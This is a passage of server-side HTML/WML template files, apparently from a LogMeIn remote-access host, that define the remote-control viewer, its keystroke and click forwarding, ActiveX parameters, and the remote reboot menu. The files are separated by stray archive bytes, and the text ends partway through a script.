<frame src="&ACTIVEX.CAB&?$RND$" frameborder="0" framespacing="0" border="0" marginwidth="0" marginheight="0" scrolling="no">
</frameset>
</html>
O4remctrlPDAdownloading.htmlZΗ<?ratmpl?> 
<?nocache?>
<html>
<head>
<title>&SRVNAME& - &MSG.REMCTRL.TITLE& - &PRODUCTNAME&</title>
</head>
<body>
<center>
<br>
&MSG.PDA.REMCTRL.DOWN1&
<br><br>
&MSG.PDA.REMCTRL.DOWN2&

<br><br>
&MSG.PDA.REMCTRL.DOWN3&

<br><br>
<a href="remctrlPDA.html?$RND$" target="_top">&MSG.PDA.REMCTRL.DOWNCONTINUE&</a>
</body>
</html>r4remctrlPDApredownload.html8D<?ratmpl?> 
<?nocache?>
<html>
<head>
<title>&SRVNAME& - &MSG.REMCTRL.TITLE& - &PRODUCTNAME&</title>
</head>
<body>
<center>
<br>
&MSG.PDA.REMCTRL.PREDOWN1&
<br><br>
&MSG.PDA.REMCTRL.PREDOWN2&
<br><br>
<a href="/remctrlPDAdownframe.html?$RND$">&MSG.PDA.REMCTRL.PRECONTINUE&</a>
</body>
</html>

t෦remctrlui.txt7g<?ratmpl?> 
<?nocache?>
<?if REQ.RES?><?set cfgusr PerUser.RemCtrl.ScreenResolution = REQ.RES?><?endif?>
ScreenResolution=&CFG.PerUser.RemCtrl.ScreenResolution&
<?if REQ.DEPTH?><?set cfgusr PerUser.RemCtrl.ScreenDepth = REQ.DEPTH?><?endif?>
ScreenDepth=&CFG.PerUser.RemCtrl.ScreenDepth&
<?if REQ.NET?><?set cfgusr PerUser.RemCtrl.Network = REQ.NET?><?endif?>
Network=&CFG.PerUser.RemCtrl.Network&
<?if REQ.TOOLBAR?><?set cfgusr PerUser.RemCtrl.ShowFullScreenToolbar = REQ.TOOLBAR?><?endif?>
ShowFullScreenToolbar=&CFG.PerUser.RemCtrl.ShowFullScreenToolbar&
Z5 remctrl_app.htmlM
;k<?ratmpl?> 
<?nocache?>
<?include "macros.html"?>
<?include "activex.inc"?>

<?
// set the default control type
if not REQ.TYPE
if not REQ.VIEW and CFG.RemoteControl.ControlType = "html"
set REQ.TYPE = "html"
else
set REQ.TYPE = "activex"
endif
endif

if not REQ.VIEW
set REQ.VIEW = "0"
endif
set session RCVIEWONLY = REQ.VIEW

if REQ.LOOPBACK = "1"
set IsLoopback = "1"
elseif IsViaLoopback and CFG.RemoteControl.AllowLoopback != "1" and REQ.ForceLoopback != "1"
set IsLoopback = "1"
endif

action "remctrl"
?>

<?include "chkobject.inc"?>
<?
if REQ.APPLETWIDTH
set APPLETWIDTH = REQ.APPLETWIDTH
set APPLETHEIGHT = REQ.APPLETHEIGHT
else
action "appletsize"
endif
?>

<script type="text/javascript" src="/js/lmiborgsupport.js"></script>
<script type="text/javascript" src="/js/tracking.js"></script>

<script type="text/javascript" language="JavaScript"> 
function trackRemoteControl(arg)
{
<?// track only Remote Control, no Desktop Share and Monitor Host Screen ?>
<?if not GUESTINVITE and not REQ.VIEW="1"?>
<?// arg is an obj, for details see function callOnObjectLoaded in chkobject.inc ?>
Tracking.trackAction(Tracking.reqTypeToApp(arg.reqType), kACT_REMOTE_CONTROL);
<?endif?>
}

function onloadHandler() {
<?if not APPLETWIDTH?>
appletResize();
<?else?>
<?if not IsLoopback?>
chkObject('rcxcontrol', false, trackRemoteControl);
<?endif?>
<?endif?>
}

<? if not APPLETWIDTH ?>
function appletResize() {
var w_newWidth, w_newHeight, w_titleHeight;
w_titleHeight = 0;
var vContainer1 = document.getElementById("title1");
if (vContainer1) {
w_titleHeight = vContainer1.offsetHeight;
}
w_newWidth =self.innerWidth; 
w_newHeight=self.innerHeight - w_titleHeight; 
window.location.replace('&TEMPLATE&?type=java&appletwidth=' + w_newWidth + '&appletheight=' + w_newHeight + '&view=&REQ.VIEW&remctrlnw=&REQ.REMCTRLNW&');
}
<?endif?>
</script>

<script type="text/javascript"> 
function redirect() {
window.location.replace("dashboard.html");
}
</script>

<?switch REQ.TYPE?>
<?case "activex"?>
<body style="overflow: hidden" onload="onloadHandler();">
<div class="windowrc" width="100%" height="100%" style="height: 100%;<?if UITYPE="LMI" and not IsLoopback?>background-color: black;<?endif?>">
<?if APPLETWIDTH ?>
<?action "appletssl"?>
<?if WINERRNUM?> 
<b>&WINERRMSG&</b> 
<?elseif IsLoopback?>
<?include "remctrl_loopbackmsg.html"?>
<?else?>
<?usemacro OBJECTOPEN(ACTIVEX.CAB, "CLSID:556EEC63-31E2-47C3-BF29-DFF799D2FE04", APPLETWIDTH, APPLETHEIGHT, "rcxcontrol")?>
<?include "remctrl_params.html"?>
<?usemacro OBJECTCLOSE()?>
<?endif?>
<?endif?>
</div>
</body>
<?case "html"?>
<?if GUESTINVITE?>
<?redirect"remctrldisconnect.html?reason=nojava"?>
<?elseif CFG.RemoteControl.DisableHTML = "1"?>
<body <?if not APPLETWIDTH?>onload="appletResize();"<?else?>onload="chkObject('rcxcontrol', false, trackRemoteControl);"<?endif?>>
<table class="windowrc" width="100%" height="100%">
<?if not UITYPE="LMI"?>
<tr>
<td class="titleBar" id="title1"><?usemacro TITLEICON("remote")?><span class="titleText"><?&MSG.REMCTRL.TITLE?></span></td>
</tr>
<?endif?>
<tr>
<td border=1 height="100%" align="center" <?if UI="secrem"?>style="border=1px solid black"<?endif?>>
<?include "getjava.html"?>
</td>
</tr>
</table>
</body>
<?else?>
<?include"remctrl_htmlimpl.html"?>
<?endif?>
<?endswitch?>

0T)*remctrl_htmlimpl.html"}<?ratmpl?> 

<?
if REQ.ZOOM
set cookie LASTZOOM=REQ.ZOOM
elseif COOKIE.LASTZOOM
set REQ.ZOOM=COOKIE.LASTZOOM
else
set REQ.ZOOM="100"
endif
action "remctrl2"
?>

<script language="JavaScript">
// keep track of mouse coordinates
var mx = 0;
var my = 0;
function mve(e) {
mx = e.clientX; //(e.clientX || e.x);
my = e.clientY; //(e.clientY || e.y);
}
function lve(e) {
mx = Math.floor(ww/2);
my = Math.floor(wh/2);
}
// track clicks
var clickCount = 0;
var lastX = 0;
var lastY = 0;
var lastE = null;
var lastBtn = 0;
var lastShf = false;
var lastCtr = false;
var lastAlt = false;
var timer = null;
function clk(e,up) {
clearTimeout(timer); timer = null;
lastE = e.target || e.srcElement;
if (up) {
clickCount++;
// get mouse button
if (e.button) {
lastBtn = e.button;
} else if (e.which) {
lastBtn = (e.which > 1 ? 2 : 1);
}
// get modifiers
if (e.modifiers) {
var s = (e.modifiers+32).toString(2).substring(3,6);
lastShf = (s.charAt(0) == "1");
lastCtr = (s.charAt(1) == "1");
lastAlt = (s.charAt(2) == "1");
} else {
lastShf = e.shiftKey;
lastCtr = e.ctrlKey;
lastAlt = e.altKey;
}
// get coordinates
mve(e);
var x = mx;
var y = my;
for (var img = lastE; img.offsetParent; img = img.offsetParent) {
x -= img.offsetLeft;
y -= img.offsetTop;
}
lastX = x + document.body.scrollLeft;
lastY = y + document.body.scrollTop;
//			window.status = ('cnt:'+clickCount+' btn:'+lastBtn+' x:'+lastX+' y:'+lastY);
// set timeout
timer = setTimeout('go()', 400);
}
return false;
}
function go() {
// find form
var form = document.forms.remctrl;
if (form) {
// fill form
form['click.x'].value = lastX;
form['click.y'].value = lastY;
form['click.count'].value = clickCount;
form['click.button'].value = lastBtn;
form['keyshift'].value = lastShf;
form['keyctrl'].value = lastCtr;
form['keyalt'].value = lastAlt;
form['keys'].value = ""; // no keystrokes
form.submit();
}
}
// keep track of window size
var ww = 0;
var wh = 0;
function rsz(e) {
ww = (window.innerWidth || document.body.clientWidth);
wh = (window.innerHeight || document.body.clientHeight);
}
window.onresize = rsz;
// perform automatic panning
var se = 45;
function scrl() {
<?if CFG.RemoteControl.AutoPan != "0"?>
var sc = false;
var sx = document.body.scrollLeft;
var sy = document.body.scrollTop;
if (mx < se) sc = true, sx -= se-mx;
if (mx > ww-se) sc = true, sx -= ww-se-mx;
if (my < se) sc = true, sy -= se-my;
if (my > wh-se) sc = true, sy -= wh-se-my;
//			top.status = 'x:'+mx+' y:'+my+' w:'+ww+' h:'+wh+' sx:'+sx+' sy:'+sy;
if (sc) window.scrollTo(sx, sy);
if (se) setTimeout(scrl, sc ? 75 : 250);
<?endif?>
}
if (document.captureEvents) {
document.captureEvents(Event.MOUSEDOWN);
document.captureEvents(Event.MOUSEUP);
document.captureEvents(Event.MOUSEMOVE);
document.captureEvents(Event.RESIZE);
}
function ctx() {
return (event.target == lastE);
}
document.oncontextmenu = ctx;
function start() {
rsz(null);
scrl();
<?if REQ.DISPLAYMSG?>
alert('$MSG.APPLET.SSHOT.EXPLAIN$');
<?endif?>
<?if REQ.TRACK = "yes" and not GUESTINVITE and not REQ.VIEW="1"?>
Tracking.trackAction(kAPP_HTML, kACT_REMOTE_CONTROL);
<?endif?>
}
function stop() {
se = 0;
}
function sendspeckeys(sel) {
var form = sel.form;
form.keys.value = sel.options[sel.selectedIndex].value;
form.keysesc.checked = true;
form.submit()
}
var tmon = null;
var tint = 4000;
function setmon(chk) {
if (chk.checked) {
tmon = setTimeout("updmon()", 200);
} else {
clearTimeout(tmon); tmon = null;
}
}
function imgmon() {
if (document.forms.remctrl.monitor.checked) {
tmon = setTimeout("updmon()", tint);
}
}
function updmon() {
tmon = null;
document.images.sshot.onload = imgmon;
document.images.sshot.onerror = imgmon;
document.images.sshot.src = "screen.png?zoom=%REQ.ZOOM%&" + Math.random();
}
<?if REQ.MONITOR?>
tmon = setTimeout("updmon()", tint);
<?endif?>
</script>

<body onload="start()" onunload="stop()" onmousemove="mve(event)" onmouseout="lve(event)">

<form name="remctrl" action="&TEMPLATE&?view=%RCVIEWONLY%" method="post">
<input type="hidden" name="type" value="&REQ.TYPE&">
<input type="hidden" name="click.x" value="">
<input type="hidden" name="click.y" value="">
<input type="hidden" name="click.button" value="1">
<input type="hidden" name="click.count"  value="1">
<input type="hidden" name="keyshift" value="0">
<input type="hidden" name="keyctrl"  value="0">
<input type="hidden" name="keyalt"   value="0">
<div class="windowrc">
<div class="buttonBar">
<div class="buttonGroup">
<?if not BRAND.LOGMEIN.FREE?><a href="title.html?favname=%MSG.REMCTRL.TITLE%&favicon=menu_remote.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a><?endif?>
<a href="&TEMPLATE&?type=%REQ.TYPE%&view=%RCVIEWONLY%&zoom=%REQ.ZOOM%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<?if ACTIONS has "-activex-" and HTTP.USERAGENT.IE or HTTP.USERAGENT.RACONSOLE or not HTTP.USERAGENT has "Windows 98" or not HTTP.USERAGENT has "WinNT4" or not IS9X or not ISNT4?>
<a href="&TEMPLATE&?type=activex&view=%RCVIEWONLY%"><img src="img/ico_exec.gif" border="0" title="&MSG.REMCTRL.UI.AXRC&"></a>
<?else?>
<a href="&TEMPLATE&?type=java"><img src="img/ico_exec.gif" border="0" title="&MSG.REMCTRL.UI.JAVARC&"></a>
<?endif?>
</div>
<div class="buttonGroup">
&MSG.REMCTRL.UI.ZOOM&:
<select name="zoom" size="1" onchange="this.form.submit()">
<option value="300" <?selected REQ.ZOOM="300"?>>300%</option>
<option value="250" <?selected REQ.ZOOM="250"?>>250%</option>
<option value="200" <?selected REQ.ZOOM="200"?>>200%</option>
<option value="150" <?selected REQ.ZOOM="150"?>>150%</option>
<option value="140" <?selected REQ.ZOOM="140"?>>140%</option>
<option value="130" <?selected REQ.ZOOM="130"?>>130%</option>
<option value="120" <?selected REQ.ZOOM="120"?>>120%</option>
<option value="110" <?selected REQ.ZOOM="110"?>>110%</option>
<option value="100" <?selected REQ.ZOOM="100"?>>100%</option>
<option value="90"  <?selected REQ.ZOOM= "90"?>>90%</option>
<option value="80"  <?selected REQ.ZOOM= "80"?>>80%</option>
<option value="70"  <?selected REQ.ZOOM= "70"?>>70%</option>
<option value="60"  <?selected REQ.ZOOM= "60"?>>60%</option>
<option value="50" <?selected REQ.ZOOM="50"?>>50%</option>
<option value="40" <?selected REQ.ZOOM="40"?>>40%</option>
<option value="30" <?selected REQ.ZOOM="30"?>>30%</option>
<option value="20" <?selected REQ.ZOOM="20"?>>20%</option>
</select>
<label for="mon" title="&MSG.REMCTRL.UI.MONITOR.DESC&">&MSG.REMCTRL.UI.MONITOR&:
<input id="mon" type="checkbox" name="monitor" <?checked REQ.MONITOR?> onclick="setmon(this)">
</label>
</div>
<?if RCRWACCESS = "1"?>
<div class="buttonGroup">
&MSG.REMCTRL.UI.SENDKEYS&:
<input type="text" name="keys" value="" size="20" autocomplete="off" onfocus="this.select()">
<input type="checkbox" name="keysesc" value="1" <?checked REQ.KEYSESC?> title="&MSG.REMCTRL.UI.ALLOWESC&">
<input type="submit" value="&MSG.REMCTRL.UI.SEND&">
</div>
<div class="buttonGroup">
<select name="speckey" size="1" onchange="sendspeckeys(this)">
<option value="">-- &MSG.REMCTRL.UI.SENDSPECIAL& --</option>
<?if not ISUNIX ?>
<option value="%#{TAB}">Alt-Tab</option>
<option value="{CAD}">Ctrl-Alt-Del</option>
<?endif?>
<option value="+{ESC}">Shift-Esc</option>
<option value="^{ESC}">Ctrl-Esc</option>
<option value="^+{ESC}">Ctrl-Shift-Esc</option>
<option value="{ENTER}">Enter</option>
<?if not ISUNIX ?>
<option value="%{ENTER}">Alt-Enter</option>
<?endif?>
<option value="{F1}">F1</option>
<option value="{F2}">F2</option>
<option value="{F3}">F3</option>
<option value="{F4}">F4</option>
<option value="{F5}">F5</option>
<option value="{F6}">F6</option>
<option value="{F7}">F7</option>
<option value="{F8}">F8</option>
<option value="{F9}">F9</option>
<option value="{F10}">F10</option>
<option value="{F11}">F11</option>
<option value="{F12}">F12</option>
<option value="+{F1}">Shift-F1</option>
<option value="+{F2}">Shift-F2</option>
<option value="+{F3}">Shift-F3</option>
<option value="+{F4}">Shift-F4</option>
<option value="+{F5}">Shift-F5</option>
<option value="+{F6}">Shift-F6</option>
<option value="+{F7}">Shift-F7</option>
<option value="+{F8}">Shift-F8</option>
<option value="+{F9}">Shift-F9</option>
<option value="+{F10}">Shift-F10</option>
<option value="+{F11}">Shift-F11</option>
<option value="+{F12}">Shift-F12</option>
</select>
</div>
<?endif?>
</div>

<div><img src="screen.png?zoom=%REQ.ZOOM%&%RND%"
width="&SCREEN.W&" height="&SCREEN.H&" border="0"
name="sshot"
<?if RCRWACCESS = "1" ?>
title="&MSG.REMCTRL.UI.SHOTTIP&" 
onmousedown="return clk(event,false)"
onmouseup="return clk(event,true)"
<?endif?>>
</div>
</div>
</form>
</body>
p0remctrl_loopbackmsg.htmliU<?ratmpl?> 

<?if BRAND.LOGMEIN?>
<div style="overflow: auto; height: 100%; width: 100%;">
<table  width="500" cellpadding="0" cellspacing="0">
<tr align="center">
<td>
<br><br>
<b><?if REQ.VIEW="1"?>&MSG.REMCTRL.LOOPBACKDISALLOWED.MON&<?else?>&MSG.REMCTRL.LOOPBACKDISALLOWED&<?endif?></b><br><br>
</td>
</tr>
<tr align="center">
<td>&nbsp;<br><input type="button" onclick="parent.location = '/&TEMPLATE&?type=%REQ.TYPE%&view=%REQ.VIEW%&ForceLoopback=1';" value=<?if REQ.VIEW="1"?>"&MSG.REMCTRL.RCEDUCATIONFORCELOOPBACK.MON&"<?else?>"&MSG.REMCTRL.RCEDUCATIONFORCELOOPBACK&"<?endif?>></td>
</tr>
</table>
</div>
<?else?>
<br><br>
<b>&MSG.REMCTRL.LOOPBACKDISALLOWED&</b><br>
<br><br>
<?endif?>
X"remctrl_menu.html|<?ratmpl?>
<?
nocache
set session LOGIN.DIRECTLY.TO="r"
set session LOGIN.AFTERFFPLUGININSTALL.DIRECTLY.TO = "r"
include "main.html"
?>
<html>
<body>
</body>
</html>
?W&remctrl_params.htmlFʙ<?ratmpl?>

<?if HTTP.USERAGENT has "Opera 8"
defmacro PRINTPARAM(PRINTPARAMNAME, PRINTPARAMVALUE)
?>
&PRINTPARAMNAME&="&PRINTPARAMVALUE&"
<?
endmacro
else
defmacro PRINTPARAM(PRINTPARAMNAME, PRINTPARAMVALUE)
?>
<param name="&PRINTPARAMNAME&" value="&PRINTPARAMVALUE&" />
<?
endmacro
endif?>


<?usemacro PRINTPARAM( "HTTP.HOST", HTTP.HOST ) ?>
<?usemacro PRINTPARAM( "HTTP.PORT", HTTP.PORT ) ?>
<?usemacro PRINTPARAM( "PRODUCTNAME", PRODUCTNAME ) ?>
<?usemacro PRINTPARAM( "COPYRIGHT", COPYRIGHT ) ?>
<?usemacro PRINTPARAM( "WHITELABELED", WHITELABELED ) ?>

<?usemacro PRINTPARAM( "SessionID", RASID ) ?>
<?usemacro PRINTPARAM( "ForceTunnel", FORCETUNNEL ) ?>
<?usemacro PRINTPARAM( "commv", "4" ) ?>
<?usemacro PRINTPARAM( "supportsoptions", "1" ) ?>
<?usemacro PRINTPARAM( "is9x", IS9X ) ?>
<?usemacro PRINTPARAM( "Lang", LANG ) ?>
<?usemacro PRINTPARAM( "Brand", PRODUCTABBR ) ?>
<?usemacro PRINTPARAM( "HostOS", LMIOSTYPE ) ?>
<?usemacro PRINTPARAM( "HostOSVersion", HOSTOSVERSION ) ?>
<?usemacro PRINTPARAM( "ScreenBlankingMethod", SCREENBLANKINGMETHOD ) ?>

<?if BRAND.LOGMEIN?>
<param name="HostID" value="&CFG.WEBSVC.NUMHOSTID&"/>
<param name="WebSvcSID" value="&WEBSVCSID&"/>
<param name="HomeSite" value="&HOMESITE&"/>
<param name="HasCentral" value="&HASCENTRAL&"/>
<param name="IsMAH" value="&ISMAH&"/>
<param name="AVInstalled" value="&AVINSTALLED&"/>
<param name="ProfileID" value="&PROFILEID&"/>
<?endif?>

<?if ACTIONS has "-filexfer-"?>
<?usemacro PRINTPARAM( "FxferEnabled", "1" ) ?>
<?endif?>

<?if BRAND.LOGMEIN.FREE ?>
<?usemacro PRINTPARAM( "BrandSubType", "1" ) ?>
<?elseif BRAND.LOGMEIN.IT ?>
<?usemacro PRINTPARAM( "BrandSubType", "3" ) ?>
<?endif?>

<?if SSL?>
<?usemacro PRINTPARAM( "SSLOK", "1" ) ?>
<?else?>
<?usemacro PRINTPARAM( "SSLOK", "0" ) ?>
<?endif?>


<?if CACERT?><?usemacro PRINTPARAM( "CACERT", CACERT ) ?><?endif?>
<?if RACERT?><?usemacro PRINTPARAM( "RACERT", RACERT ) ?><?endif?>
<?if RAWSSL?><?usemacro PRINTPARAM( "RAWSSL", RAWSSL ) ?><?endif?>
<?if RAWSSL?><?usemacro PRINTPARAM( "RAWSSLv2", RAWSSL ) ?><?endif?>


<?usemacro PRINTPARAM( "NETSPEED", COOKIE.REMCTRLNETSPEED ) ?>
<?usemacro PRINTPARAM( "SCREENRES", COOKIE.REMCTRLSCREENRES ) ?>
<?usemacro PRINTPARAM( "SCREENBITS", COOKIE.REMCTRLSCREENBITS ) ?>
<?usemacro PRINTPARAM( "REMCTRLCONNDLGAUTOCLOSE", COOKIE.REMCTRLCONNDLGAUTOCLOSE ) ?>
<?usemacro PRINTPARAM( "FULLSCREENPOPUP", COOKIE.FULLSCREENPOPUP ) ?>
<?usemacro PRINTPARAM( "QUALITYCTRL", COOKIE.QUALITYCTRL ) ?>
<?usemacro PRINTPARAM( "NEWWINDOW", REQ.REMCTRLNW ) ?>

<?usemacro PRINTPARAM( "msgVersion", MSGVERSION ) ?>
<?usemacro PRINTPARAM( "AutoPan", AUTOPAN ) ?>
<?usemacro PRINTPARAM( "Printing", REMPRNT ) ?>
<?usemacro PRINTPARAM( "machine", SRVNAME ) ?>

<?usemacro PRINTPARAM( "TrackClientFocus", TRACKCLIENTFOCUS ) ?>
<?usemacro PRINTPARAM( "EndFullScreenUnfocused", ENDFULLSCREENUNFOCUSED ) ?>
<?usemacro PRINTPARAM( "DontReactOnDifferentMon", DONTREACTONDIFFERENTMON ) ?>

<?usemacro PRINTPARAM( "DEBUGLOG", CFG.LOG.DEBUG ) ?>

<?if IsViaWebsvc and not REQ.ForceLoopback?>
<?usemacro PRINTPARAM( "IPHostPublic", IPHOSTPUBLIC ) ?>
<?usemacro PRINTPARAM( "IPHostPrivate", IPHOSTPRIVATE ) ?>
<?usemacro PRINTPARAM( "IPClientPublic", IPCLIENTPUBLIC ) ?>
<?endif?>

<?if RCVIEWONLY = 1 OR FULLREMOTECONTROL = "0"?>
<?usemacro PRINTPARAM( "RCViewOnly", "1") ?>
<?else?>
<?usemacro PRINTPARAM( "RCViewOnly", "0") ?>
<?endif?>

<?if REQ.TYPE="activex"?>
<?if USE.NATUDP?>
<?action "appletnatudp"?>

<?if TRYNATUDP?>
<?usemacro PRINTPARAM( "NATUDP", "1" ) ?>
<?usemacro PRINTPARAM( "MMHOST", MMHOST ) ?>
<?usemacro PRINTPARAM( "MMPORT", MMPORT ) ?>
<?usemacro PRINTPARAM( "MMTIMEO", MMTIMEO ) ?>
<?usemacro PRINTPARAM( "MMSID", MMSID ) ?>
<?usemacro PRINTPARAM( "MMCID", MMCID ) ?>
<?usemacro PRINTPARAM( "MMCID2", MMCID2 ) ?>
<?if MMPORTMIN?>
<?usemacro PRINTPARAM( "MMPORTMIN", MMPORTMIN ) ?>
<?usemacro PRINTPARAM( "MMPORTMAX", MMPORTMAX ) ?>
<?endif?>
<?if NATUDPTAKEOVER?>
<?usemacro PRINTPARAM( "NATUDPTAKEOVER", "2" ) ?>
<?endif?>
<?endif?>
<?endif?>
<?endif?>

<?if USE.SOUND.TRANSFER?>
<?usemacro PRINTPARAM( "SoundAutoStart", SOUNDAUTOSTART ) ?>
<?endif?>

<?if COMPRESSION?>
<?usemacro PRINTPARAM( "COMPRESSION", COMPRESSION ) ?>
<?endif?>

<?usemacro PRINTPARAM( "HostPrefdDefQuality", HOSTPREFDDEFQUALITY ) ?>
h$remotecontrol.vcgiDܚ<?ratmpl?>
<?set REQ.APP=1?>
<?set REQ.TYPE="java"?>
<?include "remctrl.html" // for backward compatibility with version 4 clients ?>
wS[&remotecontrol2.vcgiDܚ<?ratmpl?>
<?set REQ.APP=1?>
<?set REQ.TYPE="java"?>
<?include "remctrl.html" // for backward compatibility with version 4 clients ?>
wS[restart.htmlR<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<script language="JavaScript">
function restart(type) {
var msg = "";
if (type == "ra") msg = "$MSG.ADMIN.REBOOT.RESTARTTITLE$";
if (type == "normal") msg = "$MSG.ADMIN.REBOOT.NORMALTITLE$";
if (type == "emergency") msg = "$MSG.ADMIN.REBOOT.EMERGENCYTITLE$";
if (type == "cold") msg = "$MSG.ADMIN.REBOOT.HARDTITLE$";
if (type == "safe") msg = "$MSG.ADMIN.REBOOT.SAFETITLE$";
if (confirm(msg + '\n$MSG.DIALOG.MAKESURE$')) {
window.location.replace("$TEMPLATE$?type=" + type + "&$RND$");
}
}
</script>
</head>

<body>

<?
if REQ.TYPE
action "restart"
if WINERRNUM
usemacro WINERRDLG()
elseif IsViaWebSvc
if REQ.TYPE = "ra"
redirect RA.COM "/r.asp?r=mycomputers&errorcode=16&hostid=" WEBSVC.HOSTID
else
redirect RA.COM "/r.asp?r=mycomputers&errorcode=15&hostid=" WEBSVC.HOSTID
endif
elseif REQ.TYPE = "ra"
redirect "/default.html?logout=yes&reason=restart&startuptime=" SRVSTARTUPTIME
else
redirect "/default.html?logout=yes&reason=reboot&startuptime=" SRVSTARTUPTIME
endif
endif
?>

<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?usemacro TITLEICON("manage")?><span class="titleText">&MSG.ADMIN.REBOOT.TITLE&</span></div>

<?if not UI="secrem"?>
<div class="buttonBar">
<div class="buttonGroup" valign="top">
<a href="title.html?favname=%MSG.ADMIN.REBOOT.TITLE%&favicon=menu_manage.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div><br>
<?endif?>

<br><br>
<center>
<?action "rebootat" // get time of next scheduled reboot if any?>
<table>
<tr>
<td align="center" valign="top" class="buttonGroupBig" width="10%">
<a href="javascript:restart('ra')"><img src=<?if BRAND.LOGMEIN?>"img/ico_restart_lmi.png?bg=%COLOR.DlgBack%"<?else?>"img/ico_restart.png?bg=%COLOR.DlgBack%"<?endif?> border="0"></a>&nbsp;
</td>
<td align="left" style="padding-right:10px">
<a href="javascript:restart('ra')"><b><?&MSG.ADMIN.REBOOT.RESTARTTITLE?></b></a>
<br><?&MSG.ADMIN.REBOOT.RESTART?><br><?&MSG.CONFIG.LICENSE.RESTARTNOTE?>
<br><br>
</td>
</tr>
<tr>
<td align="center" valign="top" class="buttonGroupBig">
<a href="javascript:restart('normal')"><img src="img/ico_reboot1.png?bg=%COLOR.DlgBack%" border="0"></a>&nbsp;
</td>
<td align="left" style="padding-right:10px">
<a href="javascript:restart('normal')"><b><?&MSG.ADMIN.REBOOT.NORMALTITLE?></b></a>
<br><?&MSG.ADMIN.REBOOT.NORMAL?>
<br><br>
</td>
</tr>
<?if not ISUNIX?>
<tr>
<td align="center" valign="top" class="buttonGroupBig">
<a href="javascript:restart('emergency')"><img src="img/ico_reboot2.png?bg=%COLOR.DlgBack%" border="0"></a>&nbsp;
</td>
<td align="left" style="padding-right:10px">
<a href="javascript:restart('emergency')"><b><?&MSG.ADMIN.REBOOT.EMERGENCYTITLE?></b></a>
<br><?&MSG.ADMIN.REBOOT.EMERGENCY?>
<br><br>
</td>
</tr>
<?endif // not ISUNIX?>
<?if ISNT or ISUNIX?>
<tr>
<td align="center" valign="top" class="buttonGroupBig">
<a href="javascript:restart('cold')"><img src="img/ico_reboot3.png?bg=%COLOR.DlgBack%" border="0"></a>&nbsp;
</td>
<td align="left" style="padding-right:10px">
<a href="javascript:restart('cold')"><b><?&MSG.ADMIN.REBOOT.HARDTITLE?></b></a>
<br><?&MSG.ADMIN.REBOOT.HARD?>
<br><br>
</td>
</tr>
<?endif //ISNT or ISUNIX?>
<?if ISNT?>
<tr>
<td align="center" valign="top" class="buttonGroupBig">
<a href="javascript:restart('safe')"><img src="img/ico_reboot4.png?bg=%COLOR.DlgBack%" border="0"></a>&nbsp;
</td>
<td align="left" style="padding-right:10px">
<a href="javascript:restart('safe')"><b><?&MSG.ADMIN.REBOOT.SAFETITLE?></b></a>
<br><?&MSG.ADMIN.REBOOT.SAFE?>
<br><br>
</td>
</tr>
<?endif // ISNT?>
<tr>
<td align="center" valign="top" class="buttonGroupBig">
<a href="restartat.html?%RND%"><img src="img/ico_rebootat.png?bg=%COLOR.DlgBack%" border="0"></a>&nbsp;
</td>
<td align="left" style="padding-right:10px">
<a href="restartat.html?%RND%"><b><?&MSG.ADMIN.REBOOTAT.TITLE?></b></a>
<br><?&MSG.ADMIN.REBOOTAT.DESC?>
<br><br>
</td>
</tr>
<?if ACTIONS has "-autologin-"?>
<tr>
<td>&nbsp;</td>
<td align="left" style="padding-right:10px">
<a href="autologon.html?%RND%"><?&MSG.ADMIN.REBOOT.AUTOLOGINOPTION?></a>
<br><br>
</td>
</tr>
<?endif?>
</table><br>
<br><?if REBOOTAT.TIME?><p><b><a href="restartat.html">&MSG.ADMIN.REBOOTAT.TIME&</a></b></p><br><?endif?>
<?if UITYPE="LMI"?>
<?if REQ.BACK?><br><br>&nbsp;<input type="button" value="&DIALOG.BACK&" onclick="window.location='$REQ.BACK$'"><?endif?>
<?endif?>
</center>
</div>
</body>
</html>
restart.wmlVx<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<?ratmpl?>
<wml>
<card id="card1" title="&SRVNAME&"> 
<p align="center">
<?
if REQ.TYPE // need to control service?
// send service control request
action "restart"
if WINERRNUM?>
<b><?&WINERRNUM?>: <?&WINERRMSG?></b>
<?endif
endif
?>

Select the type of reboot you wish to perform:
<anchor><?&MSG.ADMIN.REBOOT.NORMALTITLE?>
<go href="&TEMPLATE&" method="get">
<postfield name="type" value="normal"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
<anchor><?&MSG.ADMIN.REBOOT.EMERGENCYTITLE?>
<go href="&TEMPLATE&" method="get">
<postfield name="type" value="emergency"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
<?if ISNT?>
<anchor><?&MSG.ADMIN.REBOOT.HARDTITLE?>
<go href="&TEMPLATE&" method="get">
<postfield name="type" value="cold"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
<?endif // ISNT?>
<anchor><?&MSG.ADMIN.REBOOT.RESTARTTITLE?>
<go href="&TEMPLATE&" method="get">
<postfield name="type" value="ra"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
</p>

<p align="center">
<b><anchor><?&MSG.DIALOG.MAINMENU?>
<go href="/main.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor></b>
</p>
</card>
</wml> 
@restartat.html,П<?ratmpl?>
<?
nocache
include "macros.html"
?>

<? defmacro DIVSTYLE()
if HTTP.USERAGENT.IE ?>
style="border:0;filter:0;left:40;"
<?else?>
style="text-align:center; width:90%; border:0;filter:0;"
<?endif
endmacro?>

<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<?	action "rebootat"?>
<body onload="dispExcl(&REBOOTAT.TYPE&)">
<script type="text/javascript" src="js/window.js"></script>
<script type="text/javascript">
function dispExcl( selset ) {
var tds = document.getElementsByTagName( 'div' );
for( var i=1; i<tds.length; i++) {
